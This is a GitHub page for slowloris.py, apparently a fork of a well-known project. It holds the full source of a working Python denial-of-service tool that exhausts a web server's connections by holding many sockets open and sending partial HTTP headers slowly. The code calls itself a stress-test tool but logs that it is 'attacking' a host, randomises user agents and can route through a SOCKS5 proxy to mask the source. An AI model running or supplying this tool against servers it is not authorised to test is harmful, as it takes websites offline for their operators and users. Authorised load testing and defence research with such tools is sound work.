forked from gkbrk/slowloris
-
Notifications
You must be signed in to change notification settings - Fork 0
/
slowloris.py
executable file
·231 lines (197 loc) · 7.86 KB
/
slowloris.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time
parser = argparse.ArgumentParser(
description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
"-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
"-s",
"--sockets",
default=150,
help="Number of sockets to use in the test",
type=int,
)
parser.add_argument(
"-v",
"--verbose",
dest="verbose",
action="store_true",
help="Increases logging",
)
parser.add_argument(
"-ua",
"--randuseragents",
dest="randuseragent",
action="store_true",
help="Randomizes user-agents with each request",
)
parser.add_argument(
"-x",
"--useproxy",
dest="useproxy",
action="store_true",
help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
"--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
"--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
"--https",
dest="https",
action="store_true",
help="Use HTTPS for the requests",
)
parser.add_argument(
"--sleeptime",
dest="sleeptime",
default=15,
type=int,
help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()
if len(sys.argv) <= 1:
parser.print_help()
sys.exit(1)
if not args.host:
print("Host required!")
parser.print_help()
sys.exit(1)
if args.useproxy:
# Tries to import to external "socks" library
# and monkey patches socket.socket to connect over
# the proxy by default
try:
import socks
socks.setdefaultproxy(
socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
)
socket.socket = socks.socksocket
logging.info("Using SOCKS5 proxy for connecting...")
except ImportError:
logging.error("Socks Proxy Library Not Available!")
sys.exit(1)
logging.basicConfig(
format="[%(asctime)s] %(message)s",
datefmt="%d-%m-%Y %H:%M:%S",
level=logging.DEBUG if args.verbose else logging.INFO,
)
def send_line(self, line):
line = f"{line}\r\n"
self.send(line.encode("utf-8"))
def send_header(self, name, value):
self.send_line(f"{name}: {value}")
if args.https:
logging.info("Importing ssl module")
import ssl
setattr(ssl.SSLSocket, "send_line", send_line)
setattr(ssl.SSLSocket, "send_header", send_header)
list_of_sockets = []
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)
def init_socket(ip: str):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
if args.https:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=args.host)
s.connect((ip, args.port))
s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")
ua = user_agents[0]
if args.randuseragent:
ua = random.choice(user_agents)
s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s
def slowloris_iteration():
logging.info("Sending keep-alive headers...")
logging.info("Socket count: %s", len(list_of_sockets))
# Try to send a header line to each socket
for s in list(list_of_sockets):
try:
s.send_header("X-a", random.randint(1, 5000))
except socket.error:
list_of_sockets.remove(s)
# Some of the sockets may have been closed due to errors or timeouts.
# Re-create new sockets to replace them until we reach the desired number.
diff = args.sockets - len(list_of_sockets)
if diff <= 0:
return
logging.info("Creating %s new sockets...", diff)
for _ in range(diff):
try:
s = init_socket(args.host)
if not s:
continue
list_of_sockets.append(s)
except socket.error as e:
logging.debug("Failed to create new socket: %s", e)
break
def main():
ip = args.host
socket_count = args.sockets
logging.info("Attacking %s with %s sockets.", ip, socket_count)
logging.info("Creating sockets...")
for _ in range(socket_count):
try:
logging.debug("Creating socket nr %s", _)
s = init_socket(ip)
except socket.error as e:
logging.debug(e)
break
list_of_sockets.append(s)
while True:
try:
slowloris_iteration()
except (KeyboardInterrupt, SystemExit):
logging.info("Stopping Slowloris")
break
except Exception as e:
logging.debug("Error in Slowloris iteration: %s", e)
logging.debug("Sleeping for %d seconds", args.sleeptime)
time.sleep(args.sleeptime)
if __name__ == "__main__":
main()